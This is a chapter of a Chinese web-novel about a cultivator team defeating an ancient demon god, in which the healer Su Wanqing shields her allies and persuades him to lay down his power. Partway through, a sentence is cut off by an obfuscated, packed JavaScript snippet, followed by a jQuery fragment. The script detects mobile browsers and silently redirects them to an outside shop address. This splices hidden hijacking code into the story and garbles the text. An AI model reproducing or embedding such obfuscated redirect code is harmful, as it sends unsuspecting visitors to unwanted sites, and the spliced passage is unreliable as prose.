文趣网 > 都市小说 > 我带疯批队友闯修真界 > 63. 苏晚晴的辅助,全队无敌
    墨渊右臂被废之后,战场出现了短暂的对峙。他没有急于反击,只是用左手撑着那道变薄的魔气障壁,暗红色的眼睛依次扫过将他围在核心的五个人——沈墨言横剑而立,深紫色剑芒在右肩旧伤处吞吐不定;楚霜短刀反握,刀锋上冰晶与金色毒丝交织缠绕;绯夜倒在阵外由红绡护住心脉,但他留下的蛇皇毒残余仍在墨渊左腿的伤口里持续侵蚀;韩老将军的弩阵在百步之外弯弓待发;陆星河的剑阵在头顶盘旋低鸣。苏晚晴站在所有人身后,清霄琴横在膝上,十指虚按琴弦,光系灵力的金色微光在她周身缓缓流转。

    他忽然意识到一个问题——他杀不了这些人。不是因为他的力量不够强,而是因为每当他即将击杀其中一人时,总有另一人从侧面切入逼他回防。每当他锁定一个目标,苏晚晴的护盾就会精准地落在那个目标身上。每当他想强行突破,沈墨言总能提前半息预判他的攻击方向。这些人的单兵战力没有一个是他的对手,但他们合在一起的时候,每一个缺口都会被另一个人补上,每一个失误都会被另一个人兜底。他们不是五个人,是一个完整的战斗体系。

    而维系这个体系运转的核心,是那个站在最后面的女人。

    墨渊的目光越过沈墨言的剑锋,越过楚霜的刀尖,越过韩老将军的弩阵和陆星河的剑阵,落在苏晚晴身上。从他破封到现在,他从没有将苏晚晴列为首要攻击目标。不是因为轻视她,而是因为她的站位永远在队友身后,她的光盾永远先落在别人身上,她的琴声永远在为别人做嫁衣。她不冲锋,不斩首,不放毒,不射箭,但她站在那里的每一息,都在让其他人的战斗力翻倍。她没有亲手伤过他一分,但没有她,沈墨言早已被魔气光球震碎了经脉;没有她,楚霜接不住哪怕一针;没有她,绯夜的万毒噬心术撑不到援军到来;没有她,所有人的buff早已断档、护盾早已碎裂、灵力早已枯竭。她是这支队伍最不显眼的一个人,也是最重要的一环。

    墨渊做出了决定。

    他放弃了右臂的魔气修复,将原本流向右肩的所有魔气全部收回,全部灌注进左手掌心。那颗正在凝聚的光球骤然膨胀,色泽从暗紫变成了深沉到近乎黑色的墨紫,表面不再有电弧闪烁,而是光滑如镜,将周围的光线都吸了进去。不再试探,不再留手。这一击的目标不是沈墨言,不是楚霜,不是弩阵也不是剑阵——是苏晚晴。

    沈墨言的暗系感知在墨渊收回魔气的瞬间就捕捉到了异常。他看到了魔气的流向改变了方向,从右肩全部涌向左掌心,看到了那颗压缩光球中蕴含的能量已经远超之前任何一次攻击。他的瞳孔猛然收缩,声音第一次失去了惯常的平稳:“苏晚晴!他在锁定你!全部魔气——”

    话音未落,墨渊出手了。他将左手光球直接砸入脚下地面。光球没有爆炸,而是瞬间融入大地,以他为中心扩散成无数道墨紫色的魔气波纹朝四面八方辐射开来。波纹所过之处岩石无声无息地化为齑粉,不是碎裂,是直接分解成了比沙粒还细的黑色粉末。这是渡劫期魔神以碾压性的力量发动的大范围无差别攻击,没有任何花巧,没有任何预判空间,就是用绝对的力量把整个战场翻过来。

    “——全部魔气转化为范围攻击!他在洗地!”沈墨言的声音在阵法共振中喊到了嘶哑。

    第一道波纹撞上四象封魔阵的外围光幕,光幕猛然震颤,瞬间出现了无数裂纹。第二道波纹紧随其后,外围光幕应声碎裂,千片淡金色碎片在空中翻飞,还没落地就被接踵而至的第三道波纹碾成了光尘。三道波纹去势不减,朝阵中心所有人压了过来——沈墨言、楚霜、绯夜、韩老将军、陆星河、凉州弩阵、天剑宗剑阵,以及他们身后的所有人。每一道波纹都蕴含着足以重创元婴修士的魔气冲击,三道叠加之下,没有任何单点防御能够正面抵挡。

    苏晚晴站在阵眼中心,面对铺天盖地而来的墨紫色波纹,做了一件所有人都没想到的事。她没有往后退,而是往前走了一步。清霄琴在她怀中翻转,从横抱变成了竖立,琴身底部抵在地面上。她双手握住琴颈,将琴身像一面盾牌般挡在身前。

    “小白。”

    【我在。】小白的回应没有毒舌,没有催促,只有极其简短的三个字。她已经陪伴苏晚晴战斗了太久,从凉州的城墙到禁地的深渊,从凌云梯的登顶到此刻的终战,她不需要任何多余的解释就能知道宿主此刻需要什么。

    “把系统商城所有积分,全部兑换成防御阵法和护盾增幅器。一件不剩。”

    小白沉默了一瞬。不是因为犹豫,而是在计算最优方案。她的数据库中存储着苏晚晴从穿越至今积攒的每一笔积分——那些靠完成任务、击败敌人、达成成就攒下来的积分,原本可以兑换更高阶的功法、更稀有的神器碎片,甚至一个在终战后平安活下来的保障。但现在它们只是一串数字,用来换取一个让所有人活下来的概率。

    【已全部兑换。系统商城积分清零。剩余积分:零。】

    苏晚晴将清霄琴的七根琴弦同时拨动。不是在弹奏乐曲,而是将七弦的震动频率同时调到最高,七道不同音高的琴声在同一瞬间爆发。她的灵力通过琴弦注入清霄琴内部,清霄琴的器灵在那一瞬间发出了从未有过的强烈共鸣——琴身上的光系纹路全部亮起,光芒之盛,连远在山下的赵钱孙都看到了山脊上那道冲天而起的金色光柱。系统兑换的所有防御阵法同时在她身前展开,一面、两面、三面……九面颜色不同、形状各异的光盾在她面前层层叠加,每一面光盾的厚度都足以抵挡元婴初期修士的全力一击,九面叠加之下形成了一个半透明的多层防御结构,从纯金色的光系琉璃盾到淡青色的风系气旋盾,从暗黄色的土系玄岩盾到银白色的星辰系反射盾。每一面盾牌上都刻着不同宗门的防御阵法符文,那是苏晚晴在七宗联合会议上从各宗门长老那里交换来的阵图,她花了无数个夜晚将它们一一学会,此刻全部用上了。她将琴身抵在地面上,让音波通过地面传导扩散,音波所过之处地面裂开无数细密的金色光纹,将阵法根基牢牢钉入青云山的山体之中,以大地为阵基,以琴音为纽带,将九面盾牌扩展成了一道半圆形的金色穹顶,把在场所有人——沈墨言、楚霜、绯夜、韩老将军、陆星河、凉州弩阵、天剑宗剑阵、万花谷医疗营——全部笼罩其中。

    墨渊的魔气波纹撞上金色穹顶。第一道波纹与第一面光盾接触,琉璃盾在刺耳的嘶鸣声中碎成金色齑粉,但波纹的速度被迟滞了整整一息。第二面光盾挡下了第二道波纹的余威,裂纹密布却没有碎。第三道波纹撞上第三面和第四面光盾的叠加处,被双重防御强行分散成无数细小的魔气碎片,沿着光盾表面滑开,落在地面上烧出密密麻麻的焦痕。剩余的波纹余波被后续五面光盾层层削弱,最后化作一阵沉闷的轰鸣,在金色穹顶外消散殆尽。

    苏晚晴稳稳地站在穹顶中心,双手抵着清霄琴的琴身,虎口的旧伤裂开了,鲜血顺着琴颈往下流。琴身上的光系纹路在承受了魔气冲击后开始闪烁不定,那是清霄琴的器灵在极限运转下发出的警告。她的灵力储备在支撑九面光盾的瞬间消耗了大半,但她没有露出任何吃力的表情。因为她看到沈墨言在她撑开穹顶的间隙重新调整了进攻队形,楚霜捡起了地上的短刀重新站到前排,韩老将军的弩阵已经重新拉满弓弦,陆星河的剑阵在空中重新编队,红绡怀里的绯夜呼吸渐渐平稳——所有人都还在,一个人都没少。

    “辅助不是站在队友身后,”苏晚晴低声说,像是在对自己说,也像是在对某个已经不在了的人说,“是站在他们身前,让他们可以放心地把后背交给你。”

    墨渊站在穹顶之外,左手还保持着释放魔气波纹的姿势,但他的表情变了。刚才那一击,是他以渡劫期魔神的身份、在放弃右臂后全力释放的大范围杀招。他以为这一击至少能带走三到四个人,至少能摧毁阵法的核心结构。但苏晚晴一个人扛住了。不是用神器,不是用禁术,就是用最纯粹的辅助系法术——护盾、防御阵法、阵地构建。他忽然想起万年前月珩曾对他说过的话。那时他刚踏入渡劫期,踌躇满志地觉得自己天下无敌。月珩看着他说:“墨渊,最强的人不是你。是一个能让所有人都变得比你更强的人。”他当时不以为然,觉得自己修的是最强的功法,凝聚的是最强的魔气,没有什么力量能与他的绝对力量抗衡。但一万年后,在青云山巅,他看到了那个人。

    苏晚晴没有给他喘息的机会。她的琴声在穹顶内重新响起,这一次不再是防御,而是反击的号角。力量增幅注入沈墨言体内,深紫色剑芒骤然暴涨三寸,剑锋上隐约浮现混沌之力的七彩光晕。速度增幅注入楚霜体内,她的身法在凉州武学的基础上被光系灵力催发到极限,短刀划出一道弧形残影封住了墨渊左手的退路。毒素增幅注入绯夜留在墨渊体内的残余蛇皇毒中,让那点即将熄灭的毒种重新焕发生机,顺着魔气回流的方向朝墨渊心脉蔓延。光系净化之力注入陆星河的剑阵和韩老将军的弩阵,数千柄古剑与三百支破魔箭矢同时被镀上一层淡金色的光膜,对魔气的穿透力大幅提升。她不是让一个人变强,是让所有人同时变强。

    沈墨言第一个切入。青霄剑在力量增幅的加持下,一剑劈入墨渊左手腕关节处的魔气节点,将那道被凌月瑶留下、被绯夜侵蚀、被楚霜撕裂的旧伤扩大到了前所未有的程度。韩老将军的弩阵紧随其后,三百支光系加持的破魔箭矢如暴雨般倾泻在墨渊左半身,每一箭都在魔气障壁上炸开一团金色火花。陆星河的剑阵从上方垂直落下,数千柄光系古剑汇聚成一道金银交织的洪流,将墨渊用来护体的最后一层魔气防御彻底击溃。

    楚霜趁隙切入。她没有出刀。她在所有人的掩护下做了一件事——将绯夜残留在墨渊体内的蛇皇毒,用指尖精准地点入了墨渊右肩旧伤深处那道正在搏动的魔气核心。那是她之前在近身格挡时观察到的一个极其隐蔽的致命弱点,只有从旧伤创面直接接触才能触及。她无法用破碎的短刀触及那个位置,但她有手指。指尖触碰到魔气核心的瞬间,蛇皇毒如同遇火的火药般猛然爆发,金色的毒焰从墨渊体内向外吞噬,他的魔气运转在那一瞬间完全紊乱,左手凝聚到一半的反击掌力凭空消散。

    他单膝跪地,左手勉强撑住地面才没有倒下,垂落的右臂伤口中涌出的魔气已经不再是浓稠的暗紫色,而是夹杂着金色毒焰和七彩光晕的紊乱气流。他的魔气循环被楚霜从内部打破了最关键的一个节点,短时间内无法凝聚出任何有效的反击。沈墨言站在他面前,青霄剑尖抵在他心口。楚霜站在他身后,短刀架在他后颈。韩老将军的弩阵、陆星河的剑阵、所有还站着的修士,都在这片被魔气腐蚀得千疮百孔的山脊上静静地注视着他。

    苏晚晴抱起清霄琴走到墨渊面前。琴身上的光系纹路还在微微闪烁,穹顶的金色光芒逐渐收敛,化作点点光雨落在战场上。她低头看着这个跪倒在她面前的魔神——他的右臂废了,左半身被蛇皇毒腐蚀得千疮百孔,右肩上那道始于凌月瑶的旧伤如今已被扩大了无数倍,贯穿了他整个肩胛。但他抬起头时,那双暗红色的眼睛里没有恐惧,没有绝望,只有一种极其复杂的、沉淀了万年的疲倦。

    苏晚晴没有说“你输了”。她只是将清霄琴轻轻放在地上,将琴弦朝向墨渊,然后拨动了一根最细的弦。极轻极清的一声低鸣,不是攻击,不是防御,只是一声纯粹的共鸣。她在用光系灵力的共振去触碰墨渊的内心深处——就像她之前在战场上做的那样,去感受对手的情绪,去理解对手的执念。她能感觉到在那座深不见底的魔气深渊之下,有一个被困了一万年的人,独自坐在自己的执念里,反复咀嚼着同一天的黄昏。

    “月珩离开的时候,你站在她身边吗?”苏晚晴问。

    墨渊没有回答。但他左手五指无意识地攥紧了地上的碎石。

    “她闭上眼睛之前最后看到的人,是你。她说‘天道欠你的,不该由你来讨’的时候,是对你说的。她不是在天道的立场上劝你放弃,是在为你心疼。她心疼你被人世逼到这条路上,心疼你用了那么多代价换来的东西却被天道一笔勾销,心疼你从此以后要独自面对一万年的孤独。”苏晚晴的声音很轻,不像是在审判一个敌人,倒像是在替一个远行的人传话,“你不知道怎么回答她,因为你觉得天道欠你的必须要拿回来,否则那些代价就白费了。但你也没有

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17784000|210143||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    拒绝她,因为你心里清楚,也许不是现在,但在很久很久以后,总有一天,你会希望她还在你身边。”

    墨渊攥紧碎石的手指松开了。他低着头,散落的白发遮住了他的表情。魔影在他身后缓缓消散,不是被击溃,是他自己解除了魔影——因为维持魔影需要消耗大量的魔气,而他现在需要用仅存的魔气做另一件事。他将左手缓缓抬起,掌心朝上,手背上被绯夜毒血腐蚀出的伤口还在往外渗着黑色的魔气,但他的动作没有犹豫。他没有握拳,没有凝聚魔气反击,只是将那只手平静地放在了膝上。

    “她走的那天,夕阳很好。”墨渊的声音沙哑而低沉,像是封存了万年的古卷被第一次翻开,“她站在悬崖边上,说墨渊,你看,太阳快落山了。我说嗯。她说以后每一天的夕阳都不一样,你要记得看。我说好。然后她跳下去了。不是被谁打下去的,是她自己跳的。因为她知道只要她活着,我就会继续走这条路。她用自己的命,给我换了一个停下来的理由。我没有停。我让她白白跳了。”

    苏晚晴沉默了很久。她忽然想起了凌月瑶。那个最怕疼的人冲在最前面,被魔气贯穿胸口时手里还攥着那截断裂的玉笛。沈墨言至今还把那截玉笛用红绳系在胸口,楚霜至今还用她的起手式挥鞭,绯夜至今还用她找来的毒虫配方调配新的毒素,她们每个人身上都带着她留下的痕迹。月珩也活在墨渊身上,活了一万年。只是他用恨意包裹着那份记忆,不敢打开看。因为一旦打开,他就会发现自己这一万年的复仇,到头来只是在逃避那个黄昏。

    “停下来的理由,你现在有了。”苏晚晴说,“不是天道欠你的,也不是月珩欠你的。是你欠她的——一个迟了一万年的回答。”

    墨渊沉默了很久,久到山脊上所有的人都以为他不会回答了。沈墨言的剑始终抵在他心口,楚霜的短刀始终架在他后颈,韩老将军的弩阵始终拉满弓弦,陆星河的剑阵始终在头顶盘旋。但他只是低垂着头,目光落在自己那只被蛇皇毒腐蚀得骨节嶙峋的左手上,像是透过那只手看到了更久远的东西。他想起月珩曾对他说过——墨渊,你恨的不是天道,你恨的是那个无能为力的自己。你恨那个在飞升台上被天雷劈碎灵根的凡人,你恨那个不管怎么努力都改变不了命运的世界,所以你给自己造了一个灵根,你把自己变成了最强的人,你以为这样就能把那个凡人从过去里抹掉。但那个凡人还在,他一直都在,他坐在你的心底,看着你这一万年来所做的一切。

    “我会停。”墨渊终于开口了,声音轻得几乎被风吹散,但语气里带着一种万年来从未有过的释然,像是把压在心底最深处的枷锁一把一把拆开,“不是认输,是给她一个交代。告诉她,当年她跳下去之后,我没有好好看夕阳。现在,我想看了。”

    他说完这句话,将左手覆在右肩那道贯穿了万年光阴的旧伤上,五指缓缓握紧。暗紫色的魔气从指缝中溢出,不再狂暴,不再阴冷,只是静静地消散在暮色里。他在自己主动散去本源魔核——不是被击碎,不是被封印,而是他自己决定放下。这个过程不可逆,魔核一旦开始散功就无法停止,代价是修为散尽、魔体溃散,他会重新变成那个凡人。那个在一万年前站在飞升台上、被天雷劈碎灵根后跪在废墟里痛哭的凡人。但他没有犹豫。

    苏晚晴退后一步,将清霄琴重新横在膝上,拨动了最后一根琴弦。琴声中带着光系灵力最温和的净化之力,不是攻击,不是防御,只是为墨渊驱散了周身残余的魔气。她记得原著里写过——“墨渊最终被飞升后的天道之力镇压,形神俱灭。”但原著里没有楚霜的那一刀,没有绯夜的万毒噬心,没有沈墨言融合混沌碎片后的那一剑,也没有她站在九面光盾之后用琴弦共振去触碰那个魔神的内心。原著里的墨渊是一个被力量碾压的反派,没有人问过他为什么要这么做,也没有人告诉他停下来的理由。而此刻在她面前,这个白发散乱的魔神正主动散尽自己用一万年代价换来的力量,只为了兑现一个迟了万年的回答。

    她不知道这样做对不对。也许天道会认为他必须死,也许万年前死在他手中的亡魂不会原谅他,也许历史会将他永远定性为“祸乱修真界的上古魔神”。但她相信月珩如果在天有灵,会原谅他。因为她也是站在最前面替所有人挡下致命一击的人,她比任何人都清楚,一个人为了心中的执念能走多远,也为了放下那份执念能付出多少。

    魔气散尽时,夕阳刚好越过西边的山脊,将整座青云山染成了淡金色。墨渊的白发被风吹散,面容依旧是万年前那个站在山巅睥睨天下的年轻修士的模样——清俊、苍白、眼底带着从未消褪的孤独。苏晚晴收起清霄琴,转身朝山下走去。身后,墨渊缓缓闭上眼睛,身体化作无数细小的紫色光点,随着晚风飘散。光点飘过沈墨言肩头时微微闪烁了一下,像是在告别;飘过楚霜手中那把碎成几截的短刀时在空中悬停了一瞬,像是在致敬;飘过绯夜紧闭的双眼时轻轻落在他额头上,像是在感谢。最后一粒光点飘到苏晚晴的琴弦上,无声地融入了琴身的纹路中,留下一道极淡的暗紫色印记。

    苏晚晴低头看了看那道新添的印记。清霄琴的琴身上如今有两道印痕——一道是凌月瑶的混沌碎片留下的七彩细线,一道是墨渊的本源魔气留下的暗紫微光。两条线并排嵌在琴身侧板上,像两条永远不会交汇但也永远不会消失的河流。

    她没有回头,只是继续往下走,手里紧紧握着琴颈。因为她怕自己一回头,就再也忍不住眼泪。她想起在禁地第一次见到墨渊的魔气时,小白对她说的话——“最强的辅助,从来不是站在队友身后,而是站在他们身前,让他们可以放心地把后背交给你。”她做到了。但那个永远冲在最前面、怕疼怕得要死却从不后退的女孩子,不会再回来了。从今往后,她的身后依然有沈墨言、有绯夜、有楚霜、有韩老将军、有无数并肩作战的同袍,但她心里有一个位置,永远留给了那个说“本小姐才不怕疼”的姑娘。山风从北面吹来,带着魔气散尽后特有的清冽,凉州军的军旗在风中重新展开,旗面上“凉州”二字已被魔气侵蚀得有些斑驳。远处凉州方向隐约传来收兵的号角声,低沉而悠长。